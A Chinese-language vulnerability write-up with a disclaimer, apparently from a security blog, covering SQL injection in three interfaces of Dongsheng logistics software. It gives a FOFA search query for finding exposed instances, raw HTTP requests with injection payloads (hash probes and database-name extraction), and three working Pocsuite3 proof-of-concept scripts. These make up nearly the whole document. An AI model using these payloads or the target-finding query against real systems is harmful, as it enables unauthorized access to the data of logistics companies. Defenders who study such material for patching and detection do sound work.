免责声明
文章中涉及的漏洞均已修复,敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责
漏洞描述
东胜物流软件三个接口存在SQL注入漏洞
fofa语句
body="CompanysAdapter.aspx"
poc加检测
GetDataList接口
GET /TruckMng/MsWlDriver/GetDataList?_dc=1665626804091&start=0&limit=30&sort=&condition=DrvCode%20like%20%27%1%%27%20and%20DrvName%20like%20%27%1%%27%20and%20JzNo%20like%20%27%1%%27%20and%20OrgCode%20like%20%27%1%%27%20AND%204045%20IN%20(select%20sys.fn_sqlvarbasetostr(hashbytes(%27MD5%27,%275%27)))--%20IkbK&page=1 HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
TCodeVoynoAdapter.aspx接口
GET /FeeCodes/TCodeVoynoAdapter.aspx?mask=0&pos=0&strVESSEL=1%27+and+substring%28sys.fn_sqlvarbasetostr%28HashBytes%28%27MD5%27%2C%275%27%29%29%2C3%2C32%29%3E0%3B-- HTTP/1.1
Host:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
SaveUserQuerySetting接口
POST /MvcShipping/MsBaseInfo/SaveUserQuerySetting HTTP/1.1
Host:
Accept-Encoding: gzip
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
formname=MsRptSaleBalProfitShareIndex'+AND+2523+IN+(SELECT+(CHAR(113)%2bCHAR(120)%2bCHAR(112)%2bCHAR(113)%2bCHAR(113)%2b(SELECT+SUBSTRING((ISNULL(CAST((+db_name%28%29)+AS+NVARCHAR(4000)),CHAR(32))),1,1024))%2bCHAR(113)%2bCHAR(122)%2bCHAR(107)%2bCHAR(113)%2bCHAR(113)))+AND+'uKco'%3d'uKco&isvisible=true&issavevalue=true&querydetail=%7B%22PS_MBLNO%22%3A%22%22%2C%22PS_VESSEL%22%3A%22%22%2C%22PS_VOYNO%22%3A%22%22%2C%22PS_SALE%22%3A%22%5Cu91d1%5Cu78ca%22%2C%22PS_OP%22%3Anull%2C%22PS_EXPDATEBGN%22%3A%222020-02-01%22%2C%22PS_EXPDATEEND%22%3A%222020-02-29%22%2C%22PS_STLDATEBGN%22%3A%22%22%2C%22PS_STLDATEEND%22%3A%22%22%2C%22PS_ACCDATEBGN%22%3A%22%22%2C%22PS_ACCDATEEND%22%3A%22%22%2C%22checkboxfield-1188-inputEl%22%3A%22on%22%2C%22PS_CUSTSERVICE%22%3Anull%2C%22PS_DOC%22%3Anull%2C%22hiddenfield-1206-inputEl%22%3A%22%22%7D}
poc脚本
脚本使用pocsuite框架
GetDataList接口
# _*_ coding:utf-8 _*_
# @Time : 2024/2/23
# @Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_str
class dongsheng_getdatalist_sql(POCBase):
pocDesc = '''东胜物流软件-GetDataList接口SQL注入漏洞'''
author = '炼金术师诸葛亮'
createDate = '2024-2-23'
name = '东胜物流软件-GetDataList接口SQL注入漏洞'
#body="CompanysAdapter.aspx"
def _verify(self):
result = {}
url = self.url+ '/TruckMng/MsWlDriver/GetDataList?_dc=1665626804091&start=0&limit=30&sort=&condition=DrvCode%20like%20%27%1%%27%20and%20DrvName%20like%20%27%1%%27%20and%20JzNo%20like%20%27%1%%27%20and%20OrgCode%20like%20%27%1%%27%20AND%204045%20IN%20(select%20sys.fn_sqlvarbasetostr(hashbytes(%27MD5%27,%275%27)))--%20IkbK&page=1'
headers = {
"User-Agent": "Mozilla/5.0"
}
try:
response = requests.get(url, headers=headers)
if response.status_code == 500 and 'e4da3b7fbbce2345d7772b0674a318d5' in response.text:
result['VerifyInfo'] = {}
return self.parse_output(result)
except Exception as e:
pass
register_poc(dongsheng_getdatalist_sql)
TCodeVoynoAdapter.aspx接口
# _*_ coding:utf-8 _*_
# @Time : 2024/2/23
# @Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_str
class dongsheng_tcodevoynoadapter_sql(POCBase):
pocDesc = '''东胜物流软件-TCodeVoynoAdapter.aspx接口SQL注入漏洞'''
author = '炼金术师诸葛亮'
createDate = '2024-2-23'
name = '东胜物流软件-TCodeVoynoAdapter.aspx接口SQL注入漏洞'
#body="CompanysAdapter.aspx"
def _verify(self):
result = {}
url = self.url+ '/FeeCodes/TCodeVoynoAdapter.aspx?mask=0&pos=0&strVESSEL=1%27+and+substring%28sys.fn_sqlvarbasetostr%28HashBytes%28%27MD5%27%2C%275%27%29%29%2C3%2C32%29%3E0%3B--'
headers = {
"User-Agent": "Mozilla/5.0"
}
try:
response = requests.get(url, headers=headers)
if response.status_code == 500 and 'e4da3b7fbbce2345d7772b0674a318d5' in response.text:
result['VerifyInfo'] = {}
return self.parse_output(result)
except Exception as e:
pass
register_poc(dongsheng_tcodevoynoadapter_sql)
SaveUserQuerySetting接口
# _*_ coding:utf-8 _*_
# @Time : 2024/2/23
# @Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_str
class dongsheng_saveuserquerysetting_sql(POCBase):
pocDesc = '''东胜物流软件-SaveUserQuerySetting接口SQL注入漏洞'''
author = '炼金术师诸葛亮'
createDate = '2024-2-23'
name = '东胜物流软件-SaveUserQuerySetting接口SQL注入漏洞'
#body="CompanysAdapter.aspx"
def _verify(self):
result = {}
url = self.url+ '/MvcShipping/MsBaseInfo/SaveUserQuerySetting'
headers = {
"User-Agent": "Mozilla/5.0",
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Accept-Encoding': 'gzip'
}
try:
data="formname=MsRptSaleBalProfitShareIndex'+AND+2523+IN+(SELECT+(CHAR(113)%2bCHAR(120)%2bCHAR(112)%2bCHAR(113)%2bCHAR(113)%2b(SELECT+SUBSTRING((ISNULL(CAST((+db_name%28%29)+AS+NVARCHAR(4000)),CHAR(32))),1,1024))%2bCHAR(113)%2bCHAR(122)%2bCHAR(107)%2bCHAR(113)%2bCHAR(113)))+AND+'uKco'%3d'uKco&isvisible=true&issavevalue=true&querydetail=%7B%22PS_MBLNO%22%3A%22%22%2C%22PS_VESSEL%22%3A%22%22%2C%22PS_VOYNO%22%3A%22%22%2C%22PS_SALE%22%3A%22%5Cu91d1%5Cu78ca%22%2C%22PS_OP%22%3Anull%2C%22PS_EXPDATEBGN%22%3A%222020-02-01%22%2C%22PS_EXPDATEEND%22%3A%222020-02-29%22%2C%22PS_STLDATEBGN%22%3A%22%22%2C%22PS_STLDATEEND%22%3A%22%22%2C%22PS_ACCDATEBGN%22%3A%22%22%2C%22PS_ACCDATEEND%22%3A%22%22%2C%22checkboxfield-1188-inputEl%22%3A%22on%22%2C%22PS_CUSTSERVICE%22%3Anull%2C%22PS_DOC%22%3Anull%2C%22hiddenfield-1206-inputEl%22%3A%22%22%7D}"
response = requests.post(url, headers=headers, data=data)
if response.status_code == 200 and 'qxpqq' in response.text:
result['VerifyInfo'] = {}
return self.parse_output(result)
except Exception as e:
pass
register_poc(dongsheng_saveuserquerysetting_sql)